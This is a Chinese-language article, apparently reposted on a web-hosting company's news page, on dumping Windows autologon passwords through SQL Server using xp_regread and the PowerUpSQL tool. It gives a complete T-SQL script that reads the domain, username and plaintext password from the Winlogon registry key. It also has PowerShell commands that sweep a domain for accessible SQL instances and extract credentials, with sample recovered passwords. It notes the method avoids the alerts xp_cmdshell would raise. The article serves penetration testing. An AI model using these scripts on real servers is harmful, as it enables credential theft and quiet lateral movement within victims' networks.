新聞中心
前言

目前創(chuàng)新互聯(lián)已為上1000家的企業(yè)提供了網(wǎng)站建設(shè)、域名、雅安服務(wù)器托管、綿陽(yáng)服務(wù)器托管、企業(yè)網(wǎng)站設(shè)計(jì)、古藺網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng),共同發(fā)展。
在本文中,我將演示如何使用PowerUpSQL通過(guò)SQL Server轉(zhuǎn)儲(chǔ)Windows自動(dòng)登錄密碼。 我還將談一下例如xp_regread等其他方式存儲(chǔ)過(guò)程在滲透測(cè)試中利用方法。
xp_regread的簡(jiǎn)短歷史
自SQL Server 2000以來(lái),xp_regread擴(kuò)展存儲(chǔ)過(guò)程一直存在。自從SQL Server 2000允許Public角色的成員訪問(wèn)SQL Server服務(wù)帳戶中任何有權(quán)限的東西。 當(dāng)時(shí),它有一個(gè)非常大的影響,因?yàn)槌R?jiàn)的SQL Server作為L(zhǎng)ocalSystem運(yùn)行。
自從SQL Server 2000 SP4發(fā)布以來(lái),xp_regread的影響已經(jīng)相當(dāng)小,由于添加了一些訪問(wèn)控制,防止低特權(quán)登錄的用戶去訪問(wèn)注冊(cè)表敏感的位置。 現(xiàn)在,無(wú)權(quán)限用戶只可訪問(wèn)與SQL Server相關(guān)的注冊(cè)表位置。 有關(guān)這些的列表,請(qǐng)?jiān)L問(wèn)https://support.microsoft.com/en-us/kb/887165
以下是一些更有趣的訪問(wèn)路徑:
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Microsoft SQL Server \
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ MSSQLServer
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Search
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ SQLServer
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows消息子系統(tǒng)
- HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ EventLog \ Application \ SQLServer
- HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ SNMP \ Parameters \ ExtensionAgents
- HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ SQLServer
- HKEY_CURRENT_USER \ Software \ Microsoft \ Mail HKEY_CURRENT_USER \ Control Panel \ International
具有 Public權(quán)限的xp_regread的實(shí)際用途
xp_regread可以用來(lái)獲取很多有用的信息。 事實(shí)上,當(dāng)作為最低權(quán)限登錄時(shí),我們可以使用它來(lái)獲取無(wú)法在通過(guò)其他方式而獲得的服務(wù)器信息。 例如,PowerUpSQL中的Get-SQLServerInfo函數(shù)可以得到一些信息。
- PS C:\> Get-SQLServerInfo
- ComputerName : SQLServer1
- Instance : SQLServer1
- DomainName : demo.local
- ServiceName : MSSQLSERVER
- ServiceAccount : NT Service\MSSQLSERVER
- AuthenticationMode : Windows and SQL Server Authentication
- Clustered : No
- SQLServerVersionNumber : 12.0.4213.0
- SQLServerMajorVersion : 2014
- SQLServerEdition : Developer Edition (64-bit)
- SQLServerServicePack : SP1
- OSArchitecture : X64
- OsMachineType : WinNT
- OSVersionName : Windows 8.1 Pro
- OsVersionNumber : 6.3
- Currentlogin : demo\user
- IsSysadmin : Yes
- ActiveSessions : 3
在SQL Server SP4中實(shí)現(xiàn)的訪問(wèn)控制限制不適用于sysadmins。 因此,SQL Server服務(wù)帳戶可以在注冊(cè)表中訪問(wèn)的任何內(nèi)容,sysadmin可以通過(guò)xp_regread訪問(wèn)。
乍一看,這可能不是一個(gè)大問(wèn)題,但它確實(shí)允許我們從注冊(cè)表中提取敏感數(shù)據(jù),而無(wú)需啟用xp_cmdshell,當(dāng)xp_cmdshell啟用和使用時(shí)可能會(huì)觸發(fā)大量警報(bào)。
使用xp_regread恢復(fù)Windows自動(dòng)登錄憑據(jù)
可以將Windows配置為在計(jì)算機(jī)啟動(dòng)時(shí)自動(dòng)登錄。 雖然這不是企業(yè)環(huán)境中的常見(jiàn)配置,但這是我們?cè)谄渌h(huán)境中經(jīng)??吹降?。 特別是那些支持傳統(tǒng)POS終端和Kiosk與本地運(yùn)行SQL Server的。 在大多數(shù)情況下,當(dāng)Windows配置為自動(dòng)登錄時(shí),未加密的憑據(jù)存儲(chǔ)在注冊(cè)表項(xiàng)中:
- HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
利用該信息,我們可以編寫一個(gè)基本的TSQL腳本,該腳本使用xp_regread將自動(dòng)登錄憑據(jù)從我們的注冊(cè)表中提取出來(lái),而無(wú)需啟用xp_cmdshell。 下面是一個(gè)TSQL腳本示例,但由于注冊(cè)表路徑不在允許的列表中,我們必須將查詢作為sysadmin運(yùn)行:
- -------------------------------------------------------------------------
- -- Get Windows Auto Login Credentials from the Registry
- -------------------------------------------------------------------------
- -- Get AutoLogin Default Domain
- DECLARE @AutoLoginDomain SYSNAME
- EXECUTE master.dbo.xp_regread
- @rootkey = N'HKEY_LOCAL_MACHINE',
- @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
- @value_name = N'DefaultDomainName',
- @value = @AutoLoginDomain output
- -- Get AutoLogin DefaultUsername
- DECLARE @AutoLoginUser SYSNAME
- EXECUTE master.dbo.xp_regread
- @rootkey = N'HKEY_LOCAL_MACHINE',
- @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
- @value_name = N'DefaultUserName',
- @value = @AutoLoginUser output
- -- Get AutoLogin DefaultUsername
- DECLARE @AutoLoginPassword SYSNAME
- EXECUTE master.dbo.xp_regread
- @rootkey = N'HKEY_LOCAL_MACHINE',
- @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
- @value_name = N'DefaultPassword',
- @value = @AutoLoginPassword output
- -- Display Results
- SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
我還創(chuàng)建了一個(gè)名為“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函數(shù),所以你可以直接運(yùn)行它。 它將獲取到默認(rèn)Windows自動(dòng)登錄信息和備用Windows自動(dòng)登錄信息(如果已設(shè)置)。 然后它返回相關(guān)的域名,用戶名和密碼。
下面是命令示例。
- PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}
- PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose
- VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success.
- VERBOSE: SQLServer2.demo.local\Application : Connection Success.
- VERBOSE: SQLServer2.demo.local\Application : This function requires sysadmin privileges. Done.
- VERBOSE: SQLServer3.demo.local\2014 : Connection Success.
- VERBOSE: SQLServer3.demo.local\2014 : This function requires sysadmin privileges. Done.
- ComputerName : SQLServer1
- Instance : SQLServer1\Instance1
- Domain : demo.local
- UserName : KioskAdmin
- Password : test
- ComputerName : SQLServer1
- Instance : SQLServer1\Instance1
- Domain : demo.local
- UserName : kioskuser
- Password : KioskUserPassword!
結(jié)尾
即使xp_regread擴(kuò)展存儲(chǔ)過(guò)程已被部分關(guān)閉,不過(guò)仍然有很多方法,可以證明在滲透測(cè)試期間十分有用。 希望你會(huì)與“Get-SQLServerInfo”,“Get-SQLRecoverPwAutoLogon”函數(shù)有更多樂(lè)趣。
當(dāng)前標(biāo)題:通過(guò)SQL Server與PowerUpSQL獲取Windows自動(dòng)登錄密碼
URL標(biāo)題:http://www.5511xx.com/article/cooospj.html


咨詢
建站咨詢
